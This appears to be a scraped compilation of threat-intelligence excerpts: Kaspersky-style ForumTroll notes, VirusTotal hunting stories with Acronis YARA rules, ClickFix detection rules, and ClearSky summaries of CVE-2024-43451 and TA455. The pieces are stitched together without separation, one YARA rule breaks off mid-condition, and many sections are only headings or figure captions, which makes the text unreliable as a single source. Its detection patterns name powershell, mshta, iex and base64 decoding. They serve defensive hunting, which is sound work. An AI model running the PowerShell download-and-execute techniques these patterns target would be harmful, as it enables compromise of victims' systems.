At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

In this report, we describe how we tracked for several months a sustained espionage campaign against the government, media, and news sectors in several countries including Laos, Cambodia, Singapore, the Philippines and Indonesia.

Since early 2025, China’s involvement in the Indo-Pacific has been more prolific, from escalating maritime tensions, to being peacebroker in Myanmar’s military junta and more recently, espionage activities on joint exercises the Philippines naval forces have been conducting together with the US, Australia, Canada and New Zealand.

The attacker, which we believe is a China-nexus threat actor, showcases a love of DLL sideloading techniques in order to compromise their targets of interest. Governments and media are high-value targets because they shape policy, public opinion, and international alignment.

The report details the full attack chain of one particular compromise we discovered, and goes further into detail on victimology, other campaigns and finally lists indicators of compromise.

 Link to the report: https://cyberarmor.tech/blog/autumn-dragon-china-nexus-apt-group-targets-south-east-asia 

Introduction

How VT plays a role in hunting for analysts

Acronis - Success Story

Hunting Exploits Like It’s 2017-0199 (SideWinder Edition)

/*
    Checks if the file is tagged with CVE-2017-0199 or CVE-2017-11882
    and originates from one of the targeted countries
    and the file type is a Word document, RTF, or MS-Office file
*/
import "vt"
rule hunting_cve_maldocs {
    meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Hunting for malicious Word/RTF files exploiting CVE-2017-0199 or CVE-2017-11882 from specific countries"
        distribution = "TLP:CLEAR"
        version = "1.2"

    condition:
        // Match if the file has CVE-2017-0199 or CVE-2017-11882 in the tags
        for any tag in vt.metadata.tags : 
        ( 
            tag == "cve-2017-0199" or 
            tag == "cve-2017-11882" 
        )
        // Originates from a specific country?
        and 
        (
            // Removed CN due to spam submissions of related maldocs
            vt.metadata.submitter.country == "PK" or 
            vt.metadata.submitter.country == "LK" or 
            vt.metadata.submitter.country == "BD" or 
            vt.metadata.submitter.country == "NP" or 
            vt.metadata.submitter.country == "MM" or 
            vt.metadata.submitter.country == "MV" or 
            vt.metadata.submitter.country == "AF"
        )
        // Is it a DOC, DOCX, or RTF?
        and 
        (
            vt.metadata.file_type == vt.FileType.DOC or
            vt.metadata.file_type == vt.FileType.DOCX or
            vt.metadata.file_type == vt.FileType.RTF
        )
        // Different TA spotted using .ru TLD (excluding it for now)
        and not (
            for any url in vt.behaviour.memory_pattern_urls : (
                url contains ".ru"
            )
        )
        and vt.metadata.new_file
} 

/*
    Sidewinder related malicious documents exploiting CVE 2017-0199 used during 2025 campaign
*/
import "vt"
rule apt_sidewinder_documents
{
    meta:

        author = "Acronis Threat Research Unit (TRU)"
        description = "Sidewinder related malicious documents exploiting CVE 2017-0199"
        distribution = "TLP:CLEAR"
        version = "1.0"

    strings:

        $a1 = {62544CB1F0B9E6E04433698E85BFB534278B9BDC5F06589C011E9CB80C71DF23}
        $a2 = {E20F76CDABDFAB004A6BA632F20CE00512BA5AD2FE8FB6ED9EE1865DFD07504B0304140000}

    condition:

        filesize  

Uncovering Shadow Vector’s SVG-Based Crimeware Campaign in Colombia

<!--
    This YARA rule detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia.
    The rule identifies SVG images that contain legal or judicial terms commonly used in phishing scams, 
    along with embedded external links that could be used to deliver a payload.
-->
import "vt"
rule crimeware_svg_colombia {
   meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia"
        distribution = "TLP:CLEAR"
        version = "1.1"

        // Reference hashes
        hash1 = "6d4a53da259c3c8c0903b1345efcf2fa0d50bc10c3c010a34f86263de466f5a1"
        hash2 = "2aae8e206dd068135b16ff87dfbb816053fc247a222aad0d34c9227e6ecf7b5b"
        hash3 = "4cfeab122e0a748c8600ccd14a186292f27a93b5ba74c58dfee838fe28765061"
        hash4 = "9bbbcb6eae33314b84f5e367f90e57f487d6abe72d6067adcb66eba896d7ce33"
        hash5 = "60e87c0fe7c3904935bb1604bdb0b0fc0f2919db64f72666b77405c2c1e46067"
        hash6 = "609edc93e075223c5dc8caaf076bf4e28f81c5c6e4db0eb6f502dda91500aab4"
        hash7 = "4795d3a3e776baf485d284a9edcf1beef29da42cad8e8261a83e86d35b25cafe"
        hash8 = "5673ad3287bcc0c8746ab6cab6b5e1b60160f07c7b16c018efa56bffd44b37aa"
        hash9 = "b3e8ab81d0a559a373c3fe2ae7c3c99718503411cc13b17cffd1eee2544a787b"
        hash10 = "b5311cadc0bbd2f47549f7fc0895848adb20cc016387cebcd1c29d784779240c"
        hash11 = "c3319a8863d5e2dc525dfe6669c5b720fc42c96a8dce3bd7f6a0072569933303"
        hash12 = "cb035f440f728395cc4237e1ac52114641dc25619705b605713ecefb6fd9e563"
        hash13 = "cf23f7b98abddf1b36552b55f874ae1e2199768d7cefb0188af9ee0d9a698107"
        hash14 = "f3208ae62655435186e560378db58e133a68aa6107948e2a8ec30682983aa503"

   strings:
        // SVG 
        $svg = "<svg xmlns=" ascii fullword

        // Documents containing legal or judicial terms
        $s1 = "COPIA" nocase
        $s2 = "CITACION" nocase
        $s3 = "JUZGADO" nocase
        $s4 = "PENAL" nocase
        $s5 = "JUDICIAL" nocase
        $s6 = "BOGOTA" nocase
        $s7 = "DEMANDA" nocase

        // When image loads it retrieves payload from external website using HTTPS
        $href1= "href='https://" nocase
        $href2 = "href=\"https://" nocase

   condition:
      $svg 
      and filesize < 3MB
      and 3 of ($s*)
      and any of ($href*)
      and vt.metadata.submitter.country == "CO"
}

rule crimeware_shadow_vector_svg
{

    meta:

        description = "Detects malicious SVG files associated with Shadow
Vector's Colombian campaign"
        author = "Acronis Threat Research Unit (TRU)"
        file_type = "SVG"
        malware_family = "Shadow Vector"
        threat_category = "Crimeware / Malicious Image / Embedded Payload"
        tlp = "TLP:CLEAR"

strings:

        $svg_tag1 = "<?xml" ascii
        $svg_tag2 = "<svg" ascii
        $svg_tag3 = "<!DOCTYPE svg" ascii
        $svg_tag4 = "http://www.w3.org/2000/svg" ascii 

        //used by Shadow Vector (possibly generated in batch)

        $judicial = "juzgado" ascii nocase
        $judicial_1 = "citacion" ascii nocase
        $judicial_2 = "judicial" ascii nocase
        $judicial_3 = "despacho" ascii nocase
        $generado = "Generado" ascii nocase

    condition:

        filesize < 3MB and
        3 of ($svg_tag*) and
        (1 of ($judicial*) and $generado)
}

FileFix in the wild!

Anatomy of an attack- where do we start?

import "vt"

rule ClickFix
{
  strings:
    $clipboard = /(navigator\.clipboard\.writeText|document\.execCommand\(\"copy\"\))/
    $pay01 = /(powershell|cmd|mshta|msiexec|pwsh)/gvfi
  condition:
    vt.net.url.new_url and
    $clipboard and
    any of ($pay*)
}  

$pay03 = /powershell.{,80}iex/

Analyzing payloads

Looking for a *Fix

VT Tips (based on the success story)

Supercharge Your Web-Content YARA Rules

entity:url (content:"navigator.clipboard.writeText" or content:"document.execCommand(\"copy\")") (content:"String.fromCharCode" or content:"atob")

Dissect Payloads with Advanced Content Queries

behavior:"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("

Don't forget about the infrastructure

import "vt"

rule URLs_Downloading_Decoy_RTF_SideWinder {

  meta:
    target_entity = "url"
    author = "Virustotal"
    description = "This YARA rule identify new URLs downloading the decoy file related to SideWinder"

  condition:
    vt.net.url.downloaded_file.sha256 == "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a" 
    and vt.net.url.new_url
}

!pip install vt-py nest_asyncio
import getpass, vt, json, nest_asyncio
nest_asyncio.apply()

cli = vt.Client(getpass.getpass('Introduce your VirusTotal API key: '))

FILEHASH = "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a"
RELATIONS = "itw_urls"
all_itw_urls = []

async for itemobj in cli.iterator(f'/files/{FILEHASH}/{RELATIONS}', limit=0):
    all_itw_urls.append(itemobj.to_dict())

The great forgotten one: VT Diff

Conclusion

Introduction

How VT plays a role in hunting for analysts

Seqrite - Success Story

UNG0002

malware_config:30819f300d06092a864886f70d010101050003818d003081890281810096cc4e6ad9aee91ca69b7b44465e17412626a11c7855b7a69daad00f48c0ea98f0e389a0a1c4b74332bf0d603a6e53e05ee734c9a289ff172204bfc9430ed4d6041402d02b526e902b95f6f219598cb1b6391403fa627ab36dbe88646620369e7ec89bdc31f1a2b0bedba1852d5e7656d3b297f9d39f357816f0677563bc496b020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

type:zip AND (metadata:"lnk" AND metadata:".vbs" AND metadata:".pdf") and submitter:HK

Silent Lynx

DragonClone

VT Tips (based on the success story)

A new zero-day vulnerability, CVE-2024-43451, was discovered by ClearSky Cyber Security in June 2024. This vulnerability affects Windows systems and is being actively exploited in attacks against Ukrainian entities.

The vulnerability activates URL files containing malicious code through seemingly innocuous actions:

• A single right-click on the file (all Windows versions).
• Deleting the file (Windows 10/11).
• Dragging the file to another folder (Windows 10/11 and some Windows 7/8/8.1 configurations).

The malicious URL files were disguised as academic certificates and were initially observed being distributed from a compromised official Ukrainian government website.

Exploitation Process:

The attack begins with a phishing email sent from a compromised Ukrainian government server. The email prompts the recipient to renew their academic certificate. The email contains a malicious URL file. When the user interacts with the URL file by right-clicking, deleting, or moving it, the vulnerability is triggered. This action establishes a connection with the attacker’s server and downloads further malicious files, including SparkRAT malware.

SparkRAT is an open-source remote access trojan that allows the attacker to gain control of the victim’s system. The attackers also employed techniques to maintain persistence on the infected system, ensuring their access even after a reboot.

Attribution:

CERT-UA linked this campaign to the threat actor UAC-0194, suspected to be Russian. ClearSky also noted similarities with previous campaigns by other threat actors, suggesting the use of a common toolkit or technique.

Remediation:

Microsoft released a security patch for this vulnerability on November 12, 2024. Users are strongly advised to update their Windows systems to mitigate the risk posed by CVE-2024-43451.

Read the full report:

ClearSky Cyber Security research identified a campaign named “Iranian Dream Job campaign”, in which the Iranian threat actor TA455 targeted the aerospace industry by offering fake jobs. 

The campaign distributed the SnailResin malware, which activates the SlugResin backdoor. ClearSky attributes both malware programs to a subgroup of Charming Kitten. 

However, some cyber research companies detected the malware files as belonging to the North Korean Kimsuky/Lazarus APT group. 

The similar “Dream Job” lure, attack techniques, and malware files suggest that either Charming Kitten was impersonating Lazarus to hide its activities, or that North Korea shared attack methods and tools with Iran. 

The Iranian “Dream Job” campaign has been active since at least September 2023. Mandiant had previously reported on suspected Iranian espionage activity targeting aerospace, aviation, and defense industries in Middle East countries, including Israel and the United Arab Emirates (UAE), as well as Turkey, India, and Albania. 

The LinkedIn profiles of the fake recruiters in our report seem to be newer versions of the profiles Mandiant previously reported. For example, ClearSky discovered a profile associated with a fake company called “Careers 2 Find,” which previously worked for “1st Employer,” a fake recruiting website highlighted by Mandiant. 

How the Campaign Works

TA455 uses fake recruiting websites and LinkedIn profiles to distribute a ZIP file containing malicious files. The ZIP file, which includes legitimate files, is downloaded from a domain impersonating a job recruiting website. Victims are given a detailed PDF guide on how to “safely” access the website in order to prevent them from making “mistakes” that might “prevent infection”. Once the ZIP file is downloaded, the victim clicks on a highlighted EXE file. The EXE loads the malicious DLL file “secur32[.]dll” via DLL side loading. The malware checks the victim’s IP address and downloads information from a GitHub account that contains the C&C server domain address.

For the full version of our report:

Hunting early

Figure 1: Stages of the kill chain categorized by their emphasis on threat hunting and detection engineering.

Figure 2: Document used by the SideWinder APT group

Figure 3: Relationships within the SideWinder APT group document

XML files generated by Microsoft Office

Office documents

Figure 4: Number of samples per actor within the scope

APT28 – Images

Figure 5: Images shared in multiple documents by APT28

Figure 6: Content of the images shared in multiple documents by APT28

Figure 7: Pivoting through a specific image used by APT28

SideWinder – Images

Figure 8: Images shared in multiple documents by RAZOR TIGER

Figure 9: Two different samples of RAZOR TIGER share the same image of a handwritten signature

Gamaredon – [Content_Types].xml and styles.xml

Figure 10: [Content_Types].xml shared in multiple documents by Gamaredon Group

Figure 11: Styles.xml shared in multiple documents by Gamaredon Group

Figure 12: Initial graph of the styles.xml and its parents used by Gamaredon (left). Final graph after identifying new styles.xml and their parents using retrohunt in VirusTotal (right)

Figure 13: Number of parent documents for a specific styles.xml file used by Gamaredon

Figure 14: Document used by Gamaredon in one of its campaigns that includes multiple images which can be used to monitor new samples

Figure 15: Pivoting through the Facebook image that included the document in Figure 14

Styles.xml shared between threat actors

Figure 16: styles.xml shared between different threat actors

[Content_Types].xml shared between threat actors

Figure 17: [Content_Types].xml shared between different threat actors

AI to the rescue

Figure 18: Results obtained with Gemini after processing some of the embedded images in the documents used by the threat actors

Figure 19: Results obtained with Gemini after processing some of the embedded images in the documents used by the threat actors

PDF Documents

Images dropped by Acrobat Reader

Figure 20: Content of a PDF file related to Blind Eagle threat actor

Figure 21: BMP file generated by the sandbox that can be used for pivoting

Figure 22: The content of a PDF file used by cybercrime actors

Figure 23: BMP file generated by the sandbox that can be used for pivoting, in this case having other 20 PDF with the same image

Images dropped by Acrobat Reader

Figure 24: BMP file generated by the sandbox that can be used for pivoting, another example of Blind Eagle threat actor

Figure 25: Artifact generated by the sandbox via Google Chrome when connecting to a domain

Figure 26: Flow of artifact generation related to Google Chrome that can be used for pivoting in VirusTotal

Email files

Campaign impersonating universities

Figure 27: Email impersonating a university that contains multiple images

Figure 28: Using the images from the email footer to pivot and identify new emails

Figure 29: Other emails identified through image pivoting techniques

Campaigns impersonating companies

Figure 30: Email impersonating a Chinese organization using the company logo in the footer

Figure 31: Other emails identified through image pivoting techniques

Wrapping up

APPENDIX

[Content_types].xml shared between threat actors

styles.xml shared between threat actors